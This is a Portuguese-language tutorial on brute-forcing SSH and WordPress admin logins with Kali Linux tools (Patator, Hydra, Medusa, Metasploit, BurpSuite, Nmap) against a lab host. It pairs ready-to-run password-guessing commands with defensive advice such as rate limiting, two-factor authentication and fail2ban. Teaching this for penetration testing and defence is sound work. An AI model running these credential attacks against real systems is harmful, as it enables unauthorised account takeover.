Ataques de força bruta usando o Kali Linux



A força bruta (ataque de força bruta) é um método de solução de problemas matemáticos, cuja complexidade depende do número de todas as soluções possíveis. O termo força bruta propriamente dito é geralmente usado no contexto de ataques de hackers, quando um invasor tenta obter um login / senha para uma conta ou serviço.

Considere as ferramentas que você pode usar para executar ataques de força bruta nos serviços SSH e WEB disponíveis no Kali Linux (Patator, Medusa, Hydra, Metasploit) e no BurpSuite.

Todos os materiais fornecidos neste artigo destinam-se apenas a uso educacional. É proibido o uso de materiais ilegais e ilegais.

Força bruta ssh


Por exemplo, pegue a máquina de teste 192.168.60.50 e tente encontrar a senha do teste do usuário por SSH. Usaremos senhas populares do dicionário rockyou.txt padrão.



Patator
Para selecionar uma senha usando Patator, use o comando:

patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'

onde:
ssh_login - módulo necessário
host é nosso objetivo
usuário - login do usuário no qual uma senha ou arquivo com logins para seleção múltipla é selecionado
senha - dicionário com senhas
-x ignore: mesg = 'Falha na autenticação' - o comando não exibe uma linha com esta mensagem. O parâmetro de filtragem é selecionado individualmente.

imagem



Hydra
Para selecionar uma senha usando o Hydra, execute o comando:

hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50

onde:
-V - mostra um par de nome de usuário + senha durante a iteração
-f - para assim que a senha do login especificado é encontrada
-P - caminho para o dicionário com senhas
ssh: //192.168.60.50 - indicação de serviço e endereço IP da vítima

imagem



Medusa
Para selecionar uma senha usando o Medusa, execute o comando:

medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6

onde:
-h - endereço IP da vítima
-u - login
-P - caminho do dicionário
-M - seleção de módulos
-f - para após encontrar um par válido de nome de usuário / senha
-v - configurando a exibição de mensagens na tela durante o processo de seleção

imagem



Metasploit
Procuraremos uma ferramenta para realizar ataques de força bruta no SSH:
search ssh_login e search ssh_login a resposta:

imagem

Nós usamos o módulo:

use auxiliary/scanner/ssh/ssh_login

Para visualizar os parâmetros necessários, use o comando show options . Para nós é:
rhosts - endereço IP da vítima
rport - port
nome de usuário - login SSH
userpass_file - caminho para o dicionário
stop_on_success - para assim que houver um par de nome de usuário / senha
threads - número de threads

imagem

A indicação dos parâmetros necessários é feita através do comando " set ".

set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22


Após especificar os parâmetros necessários, digitamos o comando " run " e aguardamos.

imagem

Contração


Limite o número de conexões estabelecidas usando um firewall. Exemplo de configuração do iptables:

-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset .

Essa regra restringirá o acesso ao SSH para cada endereço IP a 1 conexão por segundo, complicando bastante a pesquisa. Além disso, uma solução eficaz pode ser o uso de autenticação de dois fatores (por exemplo, usando o eToken) ou autenticação usando um par de chaves, bem como o uso de ACLs com base em endereços IP.

WordPress de força bruta


Vejamos outro exemplo - selecionando uma senha para uma janela de autorização de formulário da web.

imagem

Por exemplo, selecionaremos a senha na conta de administrador do wordpress.



Burpsuite
Primeiro, precisamos entender como ocorre o processo de autorização. Para isso, usaremos o BurpSuite. Precisamos tentar fazer login com qualquer senha e login para ver quais solicitações passam pelo BurpSuite.

imagem

Bem, vimos uma solicitação de autorização do POST, vamos trabalhar com ela.
BODY indica qual login e senha foram verificados, o que significa que podemos tentar substituir os valores que precisamos por nós mesmos.
Passamos essa solicitação ao Intruder e lá selecionamos os parâmetros necessários para o ataque. No item Payload Positions, deixamos o tipo de ataque como sniper, mas, para verificação, deixamos apenas o parâmetro pwd. Assim, um ataque altera apenas este parâmetro.

imagem

Carregamos o dicionário necessário e começamos o ataque.

imagem

Pelo comportamento do aplicativo da web, vemos que a senha incorreta retorna o código de resposta 200. Após pesquisar no dicionário, vemos que uma das senhas deu a resposta com o código 302 - está correta.

imagem

Esse método de força bruta leva muito mais tempo do que quando se usa Patator, Hydra, Medusa, etc. Embora tenhamos escolhido um pequeno dicionário, o BurpSuite iterou o dicionário por cerca de 40 minutos.



Hydra
Vamos tentar encontrar a senha usando o Hydra.
Como já sabemos, se a autorização estiver incorreta, o código 200 será retornado e, se for bem-sucedido, o código será 302. Vamos tentar usar essas informações.
Para começar, use o comando:

hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"

Aqui indicamos os parâmetros necessários:
-l - nome de usuário
-P - dicionário com senhas
-t - número de threads
http-post-form - tipo de formulário, temos o POST.
/wp-login.php é o URL da página de autorização
^ USER ^ - mostra onde substituir o nome de usuário
^ PASS ^ - mostra onde substituir a senha do dicionário
S = 302 - uma indicação de qual resposta depende do Hydra. No nosso caso, a resposta é 302 mediante autorização bem-sucedida.

imagem



Patator
Como já sabemos, se a autorização falhar, o código 200 será retornado e, se for bem-sucedido, retornará 302. Usaremos o mesmo princípio que o Hydra:
O lançamento é realizado pelo comando:

patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz - módulo para ataque http de força bruta
url - endereço da página com autorização
FILE0 - caminho para o dicionário com senhas
body - informações transmitidas na solicitação POST durante a autorização
-t - número de threads
-x - Nesse caso, especificamos o comando para não exibir linhas de mensagens contendo um parâmetro com o código 200
accept_cookie - salva o parâmetro do cookie e passa para a próxima solicitação
Como resultado, conseguimos encontrar uma senha.

imagem



Nmap
O utilitário Nmap permite, entre outras coisas, a seleção de senhas para formulários de autorização da Web, se você usar o script http-wordpress-brute com os argumentos correspondentes:
--script-args - adicionando argumentos
user ou userdb - logon ou arquivo com logins
pass ou passdb - especifique uma senha ou dicionário
thread - número de threads
firstonly = true - exibe o resultado após a primeira senha correta

nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

imagem

Contração


Limite (complique) ataques de força bruta em aplicativos da Web usando iptables (semelhante ao SSH) e nginx. Para fazer isso, crie uma zona limite:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...

e use-o:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}

Essas configurações limitarão o número de solicitações de um endereço IP para 40 por segundo.

Para complicar a tarefa de enumeração, você pode usar os seguintes métodos:
- O uso de um firewall e outro software para limitar o número de chamadas para o serviço protegido. Você pode ler sobre como usamos o aprendizado de máquina para detectar esses ataques (incluindo os distribuídos) em um artigo .
- O uso de ferramentas que impedem a verificação rápida da correção da chave (por exemplo, Captcha).

Conclusão


Neste artigo, examinamos superficialmente algumas ferramentas populares. Você pode reduzir o risco de adivinhação de senha seguindo estas diretrizes:
- Use senhas resistentes a senhas;
- Não crie senhas usando informações pessoais, por exemplo: data de nascimento ou nome + data de nascimento ou telefone celular;
- altere regularmente a senha;
- Use senhas exclusivas em todas as contas.

Poucas pessoas seguem essas recomendações (assim como recomendações para o desenvolvimento seguro da Web); portanto, você precisa usar várias soluções de software que permitem:
- restringir a conexão por endereço IP ou, se isso não for possível, limitar o número simultâneo de conexões ao serviço (usando iptables, nginx e outros);
- use autenticação de dois fatores;
- Detecte e bloqueie esses ataques usando SIEM, WAF ou outros (por exemplo, fail2ban).

Source: https://habr.com/ru/post/pt434216/


All Articles